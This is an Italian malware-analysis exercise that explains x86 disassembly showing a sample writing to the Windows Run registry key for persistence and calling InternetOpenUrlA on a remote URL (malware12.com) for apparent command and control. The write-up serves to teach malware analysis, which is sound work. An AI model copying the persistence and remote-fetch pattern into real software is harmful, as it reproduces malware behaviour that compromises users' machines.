Analisi Malware in assembly x86

Qua sono evidenziate le istruzioni e le chiamate di funzioni relative al codice assemblyx86

**Ottenere la Persistenza nel Registro di Windows:**

push 2 ; samDesired

push eax ; ulOptions

push offset Subkey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"

push HKEY\_LOCAL\_MACHINE ; hKey

call esi ; RegOpenKeyExW

test eax, eax

jnz short loc\_4028C5

Questo frammento di codice apre la chiave di registro "Software\Microsoft\Windows\CurrentVersion\Run" sotto HKEY\_LOCAL\_MACHINE utilizzando la funzione RegOpenKeyExW.

Se l'operazione ha successo, il programma continua ad eseguire ulteriori istruzioni per scrivere nel Registro.

lea ecx, [esp+424h+Data]

**lea** calcola un indirizzo e lo memorizza in un registro, ma non legge o scrive direttamente dalla memoria.

push ecx ; lpString

mov bl, 1

call ds:lstrlenW

lea edx, [eax+eax+2]

push edx ; cbData

mov edx, [esp+428h+hKey]

lea eax, [esp+428h+Data]

push eax ; lpData

push 1 ; dwType

push 0 ; Reserved

lea ecx, [esp+434h+ValueName]

push ecx ; lpValueName

push edx ; hKey

call ds:RegSetValueExW Chiama la funzione che permette di aggiungere nuovi valori inseriti al registro

Questo frammento di codice scrive nell'entrata del Registro "Software\Microsoft\Windows\CurrentVersion\Run" utilizzando la funzione RegSetValueExW. L'obiettivo è ottenere persistenza, facendo in modo che il malware venga eseguito ogni volta che il sistema si avvia.

**Comunicazione su Internet:**

push esi

push edi

push 0 ; dwFlags

push 0 ; lpszProxyBypass

push 0 ; lpszProxy

push 1 ; dwAccessType

push offset szAgent ; "Internet Explorer 8.0"

call ds:InternetOpenA

Questo frammento di codice apre una sessione Internet utilizzando la funzione InternetOpenA. Il client software utilizzato per la connessione ad Internet è specificato come "Internet Explorer 8.0".

mov edi, ds:InternetOpenUrlA

mov esi, eax

push 0 ; dwContent

push 80000000h ; dwFlags

push 0 ; dwHeadersLength

push 0 ; lpszHeaders

push offset szUrl ; "http://www.malware12.com"

push esi ; hInternet

call edi ; InternetOpenUrlA

Questo frammento di codice configura l'URL ("http://www.malware12.com") e utilizza la funzione InternetOpenUrlA per scaricare dati da tale URL. Il malware tenta di connettersi a questo indirizzo per eseguire azioni di comando e controllo o scaricare componenti aggiuntivi.

In pratica il malware ottiene persistenza scrivendo nel Registro di Windows e comunica con un server remoto tramite una sessione Internet, utilizzando "Internet Explorer 8.0" come client software. L'URL a cui tenta di connettersi è "http://www.malware12.com".